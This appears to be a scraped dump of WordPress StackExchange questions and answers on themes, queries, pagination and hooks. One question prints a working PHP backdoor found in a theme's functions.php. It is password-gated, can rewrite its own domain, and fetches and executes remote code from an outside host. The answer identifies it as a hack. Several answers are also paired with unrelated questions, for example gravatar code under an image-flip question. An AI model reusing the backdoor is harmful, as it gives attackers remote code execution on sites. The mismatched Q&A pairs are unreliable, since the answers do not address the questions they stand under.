<p>I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product.</p> <p>If I will do this manually it will take me days probably to take them one by one. </p> <p>I've looked for plugins which might help me do this automatically but no luck. </p> <p>Is there any way to do this?</p> <p>Thank you! </p>
[ { "answer_id": 281477, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>Unlikely to be worth your time to implement such a thing. You need to ask gravatar to give you the URL fo...
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281490", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/12572/" ]
I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product. If I will do this manually it will take me days probably to take them one by one. I've looked for plugins which might help me do this automatically but no luck. Is there any way to do this? Thank you!
You can use the `get_avatar` filter to change the output or `avatar_defaults` to add new image that can be placed on your server. Here is an example code for adding new avatar that you can set as default from the Settings > Discussion page. ``` add_filter( 'avatar_defaults', 'add_new_gravatar_image' ); function add_new_gravatar_image($avatar_defaults) { $myavatar = 'http://yoursite.com/image.png'; $avatar_defaults[$myavatar] = "Default Gravatar"; return $avatar_defaults; } ``` And if you want to change the output, you have an example on the [documentation page for get\_avatar](https://codex.wordpress.org/Plugin_API/Filter_Reference/get_avatar).
281,508
<pre><code>$topics = query_posts( array( 'post_type' =&gt; 'topics', 'post_status' =&gt; 'publish', 'posts_per_page' =&gt; -1, 'meta_query' =&gt; array( 'key' =&gt; 'forum_category', 'value' =&gt; $forum_id, 'compare' =&gt; '=' ) ) ); </code></pre> <p>Doesn't seem to make a difference to this query what you set $forum_id to, it just loads all topics for all forum_category inputs... Any ideas what could cause this?</p> <p>Just to be clear, this is a function being called in the loop, so where the function is being called $forum_id is set by get_the_id()</p>
[ { "answer_id": 281511, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 2, "selected": true, "text": "<p>Changing the query to:</p>\n\n<pre><code> $topics = query_posts( \n array( \n 'post...
2017/09/29
[ "https://wordpress.stackexchange.com/questions/281508", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
``` $topics = query_posts( array( 'post_type' => 'topics', 'post_status' => 'publish', 'posts_per_page' => -1, 'meta_query' => array( 'key' => 'forum_category', 'value' => $forum_id, 'compare' => '=' ) ) ); ``` Doesn't seem to make a difference to this query what you set $forum\_id to, it just loads all topics for all forum\_category inputs... Any ideas what could cause this? Just to be clear, this is a function being called in the loop, so where the function is being called $forum\_id is set by get\_the\_id()
Changing the query to: ``` $topics = query_posts( array( 'post_type' => 'topics', 'meta_query' => array( array( 'key' => 'forum_category', 'value' => $forum_id ) ) ) ); ``` fixed it, I guess the meta query had to be in a double array? I can't see any difference apart from that...
281,550
<p>I am trying to query a list with all Categories, Subcategories and Posts of a custom post type.</p> <p>e.g.:</p> <pre><code>Maincat1 -Subcat1 -Post1 -Post2 -Subcat2 -Subcat3 Maincat2 -Subcat3 -Post3 Maincat3 -Post4 </code></pre> <p>I'm getting mad trying to accomplish that. I tried out so many things that I found on the web but I can't figure out how to get it to work.</p> <p>What I have so far (working), All Categories + Subcategories but i don't get it how to query the posts from the Categories / Subcategories.</p> <pre><code>&lt;?php $orderby = 'name'; $show_count = 1; // 1 for yes, 0 for no $pad_counts = 1; // 1 for yes, 0 for no $hierarchical = 1; // 1 for yes, 0 for no $title = ''; $empty = 0; $args = array( 'taxonomy' =&gt; 'kategorie', 'orderby' =&gt; $orderby, 'show_count' =&gt; $show_count, 'pad_counts' =&gt; $pad_counts, 'hierarchical' =&gt; $hierarchical, 'title_li' =&gt; $title, 'hide_empty' =&gt; $empty ); ?&gt; &lt;?php $parent_cat_arg = array('hide_empty' =&gt; false, 'parent' =&gt; 0 ); $parent_cat = get_terms('kategorie',$parent_cat_arg);//category name foreach ($parent_cat as $catVal) { echo '&lt;h3&gt;'.$catVal-&gt;name.'&lt;/h3&gt;'; //Parent Category $args = array('post_type' =&gt; 'Dokumente', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'kategorie', 'field' =&gt; 'slug', 'terms' =&gt; $custom_term-&gt;slug, ), ), ); $my_query = new WP_Query( $args ); if( $my_query-&gt;have_posts() ) { while ($my_query-&gt;have_posts()) : $my_query-&gt;the_post(); ?&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="#" rel="bookmark" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;li&gt;&lt;/ul&gt;&lt;?php endwhile; } wp_reset_query(); $child_arg = array( 'hide_empty' =&gt; false, 'parent' =&gt; $catVal-&gt;term_id ); $child_cat = get_terms( 'kategorie', $child_arg ); echo '&lt;ul&gt;'; foreach( $child_cat as $child_term ) { echo '&lt;li&gt;'.$child_term-&gt;name . '&lt;/li&gt;'; //Child Category $my_query = new WP_Query( $args ); if( $my_query-&gt;have_posts() ) { while ($my_query-&gt;have_posts()) : $my_query-&gt;the_post(); ?&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="#" rel="bookmark" title="Permanent Link to &lt;?php the_title_attribute(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;li&gt;&lt;/ul&gt;&lt;?php endwhile; } wp_reset_query(); } echo '&lt;/ul&gt;&lt;/li&gt;'; } ?&gt; &lt;/div&gt; &lt;?php } add_shortcode('kategorien', 'get_mylist' ); </code></pre> <p>I also have the code to query the posts (at least i think it works) - but i don't know how to combine them.</p> <pre><code>$custom_terms = get_terms('kategorie'); foreach($custom_terms as $custom_term) { wp_reset_query(); $args_slugs = array('post_type' =&gt; 'Dokumente', 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'kategorie', 'field' =&gt; 'slug', 'terms' =&gt; $custom_term-&gt;slug, ), ), ); $loop = new WP_Query($args_slugs); if($loop-&gt;have_posts()) { while($loop-&gt;have_posts()) : $loop-&gt;the_post(); echo '&lt;ul&gt;&lt;li&gt;&lt;a href="'.get_permalink().'"&gt;'.get_the_title().'&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br&gt;'; endwhile; } } </code></pre> <p>I really hope someone can help me... And yes I already used the search and found similar questions but none of the answers worked for me.</p> <p>Best, NixXxon</p>
[ { "answer_id": 282372, "author": "BlueSuiter", "author_id": 92665, "author_profile": "https://wordpress.stackexchange.com/users/92665", "pm_score": 1, "selected": false, "text": "<p>@niko Please, find your required code, it will give you exact output you were seeking for. I think you wer...
2017/09/30
[ "https://wordpress.stackexchange.com/questions/281550", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/67490/" ]
I am trying to query a list with all Categories, Subcategories and Posts of a custom post type. e.g.: ``` Maincat1 -Subcat1 -Post1 -Post2 -Subcat2 -Subcat3 Maincat2 -Subcat3 -Post3 Maincat3 -Post4 ``` I'm getting mad trying to accomplish that. I tried out so many things that I found on the web but I can't figure out how to get it to work. What I have so far (working), All Categories + Subcategories but i don't get it how to query the posts from the Categories / Subcategories. ``` <?php $orderby = 'name'; $show_count = 1; // 1 for yes, 0 for no $pad_counts = 1; // 1 for yes, 0 for no $hierarchical = 1; // 1 for yes, 0 for no $title = ''; $empty = 0; $args = array( 'taxonomy' => 'kategorie', 'orderby' => $orderby, 'show_count' => $show_count, 'pad_counts' => $pad_counts, 'hierarchical' => $hierarchical, 'title_li' => $title, 'hide_empty' => $empty ); ?> <?php $parent_cat_arg = array('hide_empty' => false, 'parent' => 0 ); $parent_cat = get_terms('kategorie',$parent_cat_arg);//category name foreach ($parent_cat as $catVal) { echo '<h3>'.$catVal->name.'</h3>'; //Parent Category $args = array('post_type' => 'Dokumente', 'tax_query' => array( array( 'taxonomy' => 'kategorie', 'field' => 'slug', 'terms' => $custom_term->slug, ), ), ); $my_query = new WP_Query( $args ); if( $my_query->have_posts() ) { while ($my_query->have_posts()) : $my_query->the_post(); ?> <ul><li><a href="#" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a><li></ul><?php endwhile; } wp_reset_query(); $child_arg = array( 'hide_empty' => false, 'parent' => $catVal->term_id ); $child_cat = get_terms( 'kategorie', $child_arg ); echo '<ul>'; foreach( $child_cat as $child_term ) { echo '<li>'.$child_term->name . '</li>'; //Child Category $my_query = new WP_Query( $args ); if( $my_query->have_posts() ) { while ($my_query->have_posts()) : $my_query->the_post(); ?> <ul><li><a href="#" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a><li></ul><?php endwhile; } wp_reset_query(); } echo '</ul></li>'; } ?> </div> <?php } add_shortcode('kategorien', 'get_mylist' ); ``` I also have the code to query the posts (at least i think it works) - but i don't know how to combine them. ``` $custom_terms = get_terms('kategorie'); foreach($custom_terms as $custom_term) { wp_reset_query(); $args_slugs = array('post_type' => 'Dokumente', 'tax_query' => array( array( 'taxonomy' => 'kategorie', 'field' => 'slug', 'terms' => $custom_term->slug, ), ), ); $loop = new WP_Query($args_slugs); if($loop->have_posts()) { while($loop->have_posts()) : $loop->the_post(); echo '<ul><li><a href="'.get_permalink().'">'.get_the_title().'</a></li></ul><br>'; endwhile; } } ``` I really hope someone can help me... And yes I already used the search and found similar questions but none of the answers worked for me. Best, NixXxon
@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure. Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. ``` <?php $taxonomy = 'testimonial-category'; $postType = 'testimonial'; $terms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => 0, 'hide_empty' => false]); ?> <div class=""> <?php foreach($terms as $term){ echo '<h3>' . $term->name . '</h3>'; $childTerms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => $term->term_id, 'hide_empty' => false]); foreach($childTerms as $childTerm) { $posts = get_posts(array('post_status' =>'publish','post_type' => $postType, array( 'taxonomy' => $taxonomy, 'field' => 'term_id', 'terms' => $childTerm->term_id, ),)); ?> <div class="add-accordion"> <h3><?php echo $childTerm->name ?></h3> <div class="add-accordion"> <?php foreach($posts as $post){ ?> <h3><?php echo $post->post_title ?></h3> <div class=""> <?php echo get_the_content($post->ID) ?> </div> <?php } ?> </div> </div> <?php } } ?> </div> <script> jQuery(function(){ jQuery('.add-accordion').accordion({ collapsible: true, heightStyle: "content", active: false, animate: 500, icons: false }); }); </script> <?php wp_enqueue_script('jquery-ui-accordion'); ?> ```
281,565
<p>So here's what I'm trying to do. I'm working on a plugin and I want to check each comment and see if the author of that comment has a role of "administrator" or "editor". If they do, rather than display their user name and avatar, I would like to display the name of the website along with a company logo or something. I'm pretty new to WordPress development and am stuck on this. I can't figure out if there is a filter for this, or if I need to create a custom comments template. If someone could even just get me pointed in the right direction that would be great, because at this point, i'm not even sure where I should start. Thank you.</p> <p>Where I am, My thought process:</p> <pre><code>&lt;?php function anonymize_author(){ global $post; //get the id of the comment author $author_id = $post-&gt;post_author; //get the userdata of comment author $author_info = get_userdata($author_id); //get the user roles of comment author $author_roles = $author_info-&gt;roles; //Array of roles to check against $roles_to_check = ["editor", "administrator"]; //see if user has a role in my $roles_to_check array $results = array_intersect($roles_to_check, $author_roles); if(!empty($results)){ //the user has roles of either "editor" or "administrator" //load custom comments page? //I need to display the author name as the site name //and the avatar as the site logo }else{ //Just a regular user, load the Wordpress Default comments } } add_filter('some_filter_here', 'anonymize_author'); ?&gt; </code></pre>
[ { "answer_id": 282372, "author": "BlueSuiter", "author_id": 92665, "author_profile": "https://wordpress.stackexchange.com/users/92665", "pm_score": 1, "selected": false, "text": "<p>@niko Please, find your required code, it will give you exact output you were seeking for. I think you wer...
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281565", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128795/" ]
So here's what I'm trying to do. I'm working on a plugin and I want to check each comment and see if the author of that comment has a role of "administrator" or "editor". If they do, rather than display their user name and avatar, I would like to display the name of the website along with a company logo or something. I'm pretty new to WordPress development and am stuck on this. I can't figure out if there is a filter for this, or if I need to create a custom comments template. If someone could even just get me pointed in the right direction that would be great, because at this point, i'm not even sure where I should start. Thank you. Where I am, My thought process: ``` <?php function anonymize_author(){ global $post; //get the id of the comment author $author_id = $post->post_author; //get the userdata of comment author $author_info = get_userdata($author_id); //get the user roles of comment author $author_roles = $author_info->roles; //Array of roles to check against $roles_to_check = ["editor", "administrator"]; //see if user has a role in my $roles_to_check array $results = array_intersect($roles_to_check, $author_roles); if(!empty($results)){ //the user has roles of either "editor" or "administrator" //load custom comments page? //I need to display the author name as the site name //and the avatar as the site logo }else{ //Just a regular user, load the Wordpress Default comments } } add_filter('some_filter_here', 'anonymize_author'); ?> ```
@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure. Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. ``` <?php $taxonomy = 'testimonial-category'; $postType = 'testimonial'; $terms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => 0, 'hide_empty' => false]); ?> <div class=""> <?php foreach($terms as $term){ echo '<h3>' . $term->name . '</h3>'; $childTerms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => $term->term_id, 'hide_empty' => false]); foreach($childTerms as $childTerm) { $posts = get_posts(array('post_status' =>'publish','post_type' => $postType, array( 'taxonomy' => $taxonomy, 'field' => 'term_id', 'terms' => $childTerm->term_id, ),)); ?> <div class="add-accordion"> <h3><?php echo $childTerm->name ?></h3> <div class="add-accordion"> <?php foreach($posts as $post){ ?> <h3><?php echo $post->post_title ?></h3> <div class=""> <?php echo get_the_content($post->ID) ?> </div> <?php } ?> </div> </div> <?php } } ?> </div> <script> jQuery(function(){ jQuery('.add-accordion').accordion({ collapsible: true, heightStyle: "content", active: false, animate: 500, icons: false }); }); </script> <?php wp_enqueue_script('jquery-ui-accordion'); ?> ```
281,571
<p>Based on an example <a href="https://wordpress.org/support/topic/confirm-that-publish_future_post-hook-does-not-work/" rel="nofollow noreferrer">found on this page</a>, I attempted to use this in my plugin. Nothing fired. A note <a href="https://codex.wordpress.org/Post_Status_Transitions" rel="nofollow noreferrer">on this page</a> stated publish_future_post is deprecated and replaced with future_to_publish. This also failed.</p> <p>Therefore, I tried to make a simple plugin with only this add_action into the plugin. Once again, the postmeta was not updated.</p> <p>Here is the code in the "future post" plugin.</p> <pre><code>function future_publish ( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'future_to_publish', 'future_publish' ); </code></pre> <p>I've been going round and round. Some people are posting the transition status works fine, others say it cannot be wrapped in is_admin, and still, I cannot get a scheduled post to actually fire anything except for the post to WP. I cannot hook into it.</p> <p>Has anyone actually tried to hook in and had something happen after the scheduled post becomes published?</p> <p>Update: Please excuse my typing. I meant published and originally typed post. It's due to my frustration with this topic.</p> <p>Update Number 2: I copied the code from an answer which is specific to $old == 'future' and this worked to update the meta. Great. But the code after the meta (not shown here) doesn't run. At least now I know that the action is working when $old == 'future'. I'm not sure why the rest of the code after doesn't work but that would be a different question. </p> <p>For now, I can only assume that the code $old != 'publish' does not fire scheduled posts and the 'future' must be specified. I'll mark the answer.</p>
[ { "answer_id": 281572, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 2, "selected": false, "text": "<p><strong>Update</strong>:</p>\n\n<p>Now that you've changed your question (and made my original answer lo...
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281571", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/47326/" ]
Based on an example [found on this page](https://wordpress.org/support/topic/confirm-that-publish_future_post-hook-does-not-work/), I attempted to use this in my plugin. Nothing fired. A note [on this page](https://codex.wordpress.org/Post_Status_Transitions) stated publish\_future\_post is deprecated and replaced with future\_to\_publish. This also failed. Therefore, I tried to make a simple plugin with only this add\_action into the plugin. Once again, the postmeta was not updated. Here is the code in the "future post" plugin. ``` function future_publish ( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'future_to_publish', 'future_publish' ); ``` I've been going round and round. Some people are posting the transition status works fine, others say it cannot be wrapped in is\_admin, and still, I cannot get a scheduled post to actually fire anything except for the post to WP. I cannot hook into it. Has anyone actually tried to hook in and had something happen after the scheduled post becomes published? Update: Please excuse my typing. I meant published and originally typed post. It's due to my frustration with this topic. Update Number 2: I copied the code from an answer which is specific to $old == 'future' and this worked to update the meta. Great. But the code after the meta (not shown here) doesn't run. At least now I know that the action is working when $old == 'future'. I'm not sure why the rest of the code after doesn't work but that would be a different question. For now, I can only assume that the code $old != 'publish' does not fire scheduled posts and the 'future' must be specified. I'll mark the answer.
Use `publish_future_post` action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be: ``` function my_test_future_post( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'publish_future_post', 'my_test_future_post' ); ``` Tested! Update ------ If you are concerned about `publish_future_post` hook being deprecated, use `transition_post_status` hook: ``` function my_test_future_post( $new, $old, $post ) { if ( $post->post_type == 'post' && $new == 'publish' && $old == 'future' ) update_post_meta( $post->ID, 'hook_fired', 'You bet!' ); } add_action( 'transition_post_status', 'my_test_future_post', 10, 3 ); ``` Tested in `functions.php` and plugins.
281,580
<p>3 weeks ago I uploaded all my files from localhost to cPanel. I want to switch it back , the issue I facing is my original database from the localhost is not updated . I downloaded the database from the cPanel and tried to set it in local host in wp-config.php , but its transferring me to installation every time and then resetting all the data. How can I update the database so it will show the site the same exact way as in production?</p>
[ { "answer_id": 281572, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 2, "selected": false, "text": "<p><strong>Update</strong>:</p>\n\n<p>Now that you've changed your question (and made my original answer lo...
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281580", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128812/" ]
3 weeks ago I uploaded all my files from localhost to cPanel. I want to switch it back , the issue I facing is my original database from the localhost is not updated . I downloaded the database from the cPanel and tried to set it in local host in wp-config.php , but its transferring me to installation every time and then resetting all the data. How can I update the database so it will show the site the same exact way as in production?
Use `publish_future_post` action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be: ``` function my_test_future_post( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'publish_future_post', 'my_test_future_post' ); ``` Tested! Update ------ If you are concerned about `publish_future_post` hook being deprecated, use `transition_post_status` hook: ``` function my_test_future_post( $new, $old, $post ) { if ( $post->post_type == 'post' && $new == 'publish' && $old == 'future' ) update_post_meta( $post->ID, 'hook_fired', 'You bet!' ); } add_action( 'transition_post_status', 'my_test_future_post', 10, 3 ); ``` Tested in `functions.php` and plugins.
281,611
<p>This code appears in my theme's <code>functions.php</code>, also in child theme's. I've deleted it for two times but it comes back. What is it?</p> <pre><code>if ( isset( $_REQUEST['action'] ) &amp;&amp; isset( $_REQUEST['password'] ) &amp;&amp; ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) { $div_code_name = "wp_vcd"; switch ( $_REQUEST['action'] ) { case 'change_domain'; if ( isset( $_REQUEST['newdomain'] ) ) { if ( ! empty( $_REQUEST['newdomain'] ) ) { if ( $file = @file_get_contents( __FILE__ ) ) { if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) { $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file ); @file_put_contents( __FILE__, $file ); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die( "" ); } if ( ! function_exists( 'theme_temp_setup' ) ) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ]; if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false &amp;&amp; stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) { if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) { function theme_temp_setup( $phpCode ) { $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" ); $handle = fopen( $tmpfname, "w+" ); fwrite( $handle, "&lt;?php\n" . $phpCode ); fclose( $handle ); include $tmpfname; unlink( $tmpfname ); return get_defined_vars(); } extract( theme_temp_setup( $tmpcontent ) ); } } } </code></pre>
[ { "answer_id": 281612, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": false, "text": "<p>Your website has been hacked. This is malicious code that gets triggered from the outside, loading m...
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281611", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125408/" ]
This code appears in my theme's `functions.php`, also in child theme's. I've deleted it for two times but it comes back. What is it? ``` if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['password'] ) && ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) { $div_code_name = "wp_vcd"; switch ( $_REQUEST['action'] ) { case 'change_domain'; if ( isset( $_REQUEST['newdomain'] ) ) { if ( ! empty( $_REQUEST['newdomain'] ) ) { if ( $file = @file_get_contents( __FILE__ ) ) { if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) { $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file ); @file_put_contents( __FILE__, $file ); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die( "" ); } if ( ! function_exists( 'theme_temp_setup' ) ) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ]; if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false && stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) { if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) { function theme_temp_setup( $phpCode ) { $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" ); $handle = fopen( $tmpfname, "w+" ); fwrite( $handle, "<?php\n" . $phpCode ); fclose( $handle ); include $tmpfname; unlink( $tmpfname ); return get_defined_vars(); } extract( theme_temp_setup( $tmpcontent ) ); } } } ```
Your website has been hacked. This is malicious code that gets triggered from the outside, loading more malicious content from 'www.dolsh.cc' domain. If the content comes back after you remove it, then you have hacked files somewhere else that will automatically rewrite functions.php any time page is loaded. You need to find and clean up all infected files, and it is impossible to tell which files are infected without detailed review of the website. Most infections like this spread into various areas to make sure they are hard to remove. You should backup database, and then reinstall WordPress from scratch, all plugins you have and them that is not infected. It is possible that some plugin is the source of the infection, or the theme itself. If you have download plugins or themes from some illegal website (offering premium plugins for free), that is the most likely source of the infection.
281,629
<p>I need to fetch the list of all users who are Authors (with Author capabilities)</p> <p>get_users allows to fetch users with roles, but if users are filter with author role, it skips users with role admin and editor (but they can also create posts). </p> <p>So I need some other way to fetch all users having capability of Author Role (they can be from Administator, Editor or any other custom roles with Authors capability)</p> <p>To Be more precise - Need all users with "publish_posts" capability.</p>
[ { "answer_id": 281632, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": -1, "selected": false, "text": "<p>Use <a href=\"https://codex.wordpress.org/Function_Reference/get_role\" rel=\"nofollow noreferrer\">...
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281629", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/11999/" ]
I need to fetch the list of all users who are Authors (with Author capabilities) get\_users allows to fetch users with roles, but if users are filter with author role, it skips users with role admin and editor (but they can also create posts). So I need some other way to fetch all users having capability of Author Role (they can be from Administator, Editor or any other custom roles with Authors capability) To Be more precise - Need all users with "publish\_posts" capability.
Basically, there are 3 roles who have a right to publish post - "Administrator", "Editor" & "Author", unless you are adding any custom roles. So you can do is specify an array of these 3 in your get\_users function. Something like this: ``` get_users( array( 'role__in' => array('administrator', 'editor', 'author'), ) ); ``` This will give you the user details with these roles in array which you can use as convenience. Hope this helps. Thanks
281,644
<p>Cant seem to return to the index page with the Previous link using <a href="https://developer.wordpress.org/reference/functions/paginate_links/" rel="nofollow noreferrer">paginate_links()</a>. Previous link is linking to paged 2.</p> <pre><code>$paged = ( get_query_var( 'paged' ) ) ? absint( get_query_var( 'paged' ) ) : 1; $_args = array( 'orderby' =&gt; 'post_date', 'order' =&gt; 'DSC', 'paged' =&gt; $paged, 'post_type' =&gt; 'post', 'posts_per_page' =&gt; 2, // I have more but just show to pagination 'post_status' =&gt; 'publish' ); $_posts = new WP_Query( $_args ); $arr = paginate_links(array( 'base' =&gt; '%_%', 'format' =&gt; '?paged=%#%', 'total' =&gt; $_posts-&gt;max_num_pages, 'current' =&gt; max( 1, get_query_var('paged') ), 'show_all' =&gt; false, 'end_size' =&gt; 1, 'mid_size' =&gt; 2, 'prev_next' =&gt; true, 'prev_text' =&gt; __('« Previous'), 'next_text' =&gt; __('Next »'), 'type' =&gt; 'array', 'add_args' =&gt; false, 'add_fragment' =&gt; '', 'before_page_number' =&gt; '', 'after_page_number' =&gt; '' )); foreach( (array) $arr as $link ) { var_dump( $link ); } </code></pre> <p>On <code>?paged=2</code>, the Previous link is still pointing to <code>?paged=2</code> when it should return to the index page, the page where I should see all posts or return to the previous page. What is going on, please?</p>
[ { "answer_id": 281659, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 0, "selected": false, "text": "<p>I think you are passing to the query what you have in the url when clicking on the previous link.</p>\n\n<p...
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281644", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124147/" ]
Cant seem to return to the index page with the Previous link using [paginate\_links()](https://developer.wordpress.org/reference/functions/paginate_links/). Previous link is linking to paged 2. ``` $paged = ( get_query_var( 'paged' ) ) ? absint( get_query_var( 'paged' ) ) : 1; $_args = array( 'orderby' => 'post_date', 'order' => 'DSC', 'paged' => $paged, 'post_type' => 'post', 'posts_per_page' => 2, // I have more but just show to pagination 'post_status' => 'publish' ); $_posts = new WP_Query( $_args ); $arr = paginate_links(array( 'base' => '%_%', 'format' => '?paged=%#%', 'total' => $_posts->max_num_pages, 'current' => max( 1, get_query_var('paged') ), 'show_all' => false, 'end_size' => 1, 'mid_size' => 2, 'prev_next' => true, 'prev_text' => __('« Previous'), 'next_text' => __('Next »'), 'type' => 'array', 'add_args' => false, 'add_fragment' => '', 'before_page_number' => '', 'after_page_number' => '' )); foreach( (array) $arr as $link ) { var_dump( $link ); } ``` On `?paged=2`, the Previous link is still pointing to `?paged=2` when it should return to the index page, the page where I should see all posts or return to the previous page. What is going on, please?
You are using the code from the example in the Codex, but this is for the default "plain" permalinks for the default blog homepage. My guess is that you are doing this for an archive rather than the homepage. **Search & Archive pages** By default, `paginate_links` assumes the pagination is for the blog on the homepage. In all other cases, you need to change the code as follows (Ref: [Codex: paginate\_links](https://codex.wordpress.org/Function_Reference/paginate_links#Basic_Example)): ``` $big = 999999999; // need an unlikely integer echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', // rest of your arguments here ) ); ``` ***What this does:*** We need to change `paginate_links` to make it use the link for the *archive* page instead of the *homepage*. We do this by changing the `base` argument to include the url. We also need to change the `format` to use the correct parameter. 1. Create a variable with a huge number that's unlikely to ever be a valid page number, e.g. `$big = 999999999;` 2. set up your `base` argument For `base`, you need to tell paginate\_links to use the url. We do this by using `get_pagenum_link` to get the url for a page that will never exist, and then we replace the page number in the url with the *actual* page number ``` 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ) ``` 3. set up your `format` argument `format` defaults to use the `page` parameter (for the static homepage) so we need to change it to use `paged` instead: ``` 'format' => '?paged=%#%', ``` **NOTE: Pretty Permalinks** If you are displaying the pagination on the homepage and using pretty permalinks, but are still having issues, try the following. According to the Codex, if you are using "pretty" permalinks, you should change the format as follows: ``` 'format' => '/page/%#%', ``` > > **format** > > (string) (optional) Used for Pagination structure. The default value is `?page=%#%`, If using pretty permalinks this would be `/page/%#%`, where the `%#%` is replaced by the page number. > > > This is good practice, but its not required because Wordpress rewrite rules will automatically translate the `?paged` parameter
281,645
<p>I am in a <code>category.php</code>, and I have to write the category name outside of the Loop. The category name needs to be pulled dynamically through PHP.</p> <pre><code>&lt;p&gt;You are browsing &lt;?php get_the_category ?&gt; articles.&lt;/p&gt; </code></pre> <p>I tried the above one, but it didn't work. Whats the fix?</p>
[ { "answer_id": 281647, "author": "Stephen Elliott", "author_id": 126081, "author_profile": "https://wordpress.stackexchange.com/users/126081", "pm_score": -1, "selected": false, "text": "<p>I have to admit that I am not fully understanding your question. Would you want to write a plugin...
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281645", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
I am in a `category.php`, and I have to write the category name outside of the Loop. The category name needs to be pulled dynamically through PHP. ``` <p>You are browsing <?php get_the_category ?> articles.</p> ``` I tried the above one, but it didn't work. Whats the fix?
You're looking for `single_cat_title()`.
281,661
<p>How to change home page to another page after login for all user roles, not a specific one?</p>
[ { "answer_id": 281663, "author": "Marcelo Henriques Cortez", "author_id": 44437, "author_profile": "https://wordpress.stackexchange.com/users/44437", "pm_score": 0, "selected": false, "text": "<p>You can use a plugin, like 'Redirect After Login' (<a href=\"https://wordpress.org/plugins/r...
